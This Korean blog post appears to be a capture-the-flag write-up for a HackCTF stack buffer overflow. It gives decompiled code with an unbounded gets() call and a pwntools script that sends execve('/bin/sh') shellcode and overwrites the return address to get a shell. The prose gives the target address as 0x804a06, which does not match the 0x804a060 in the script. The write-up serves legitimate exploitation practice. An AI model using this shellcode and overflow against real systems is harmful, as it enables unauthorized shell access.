int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[20]; // [esp+0h] [ebp-14h] BYREF
setvbuf(stdout, 0, 2, 0);
printf("Name : ");
read(0, &name, 50u);
printf("input : ");
gets(s);
return 0;
}
문제 코드는 위와 같습니다. 핵심 주소는 다음과 같습니다.
main ebp => 0xffffd508
name(.bss) => 0x804a06
s => ebp - 0x14
풀이는 간단합니다. name에 쉘코드를 입력하고 gets로 main ret을 쉘코드 주소인 0x804a06으로 덮어씌우면 끝입니다. 익스플로잇 코드는 아래와 같습니다.
from pwn import*
r = remote("ctf.j0n9hyun.xyz",3003)
context.log_level='debug'
payload=b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
r.sendline(payload)
payload2=b"a"*24+p32(0x804a060)
r.sendline(payload2)
r.interactive()
'시스템 해킹 > CTF' 카테고리의 다른 글
[HackCTF] x64 Simple_size_BOF (0) | 2021.09.13 |
---|---|
[HackCTF] x64 Buffer Overflow (0) | 2021.09.13 |
[HackCTF] Basic_BOF #2 (0) | 2021.09.12 |
[HackCTF] Basic_BOF #1 (0) | 2021.09.10 |
[Square CTF] 6yte (0) | 2021.09.04 |
댓글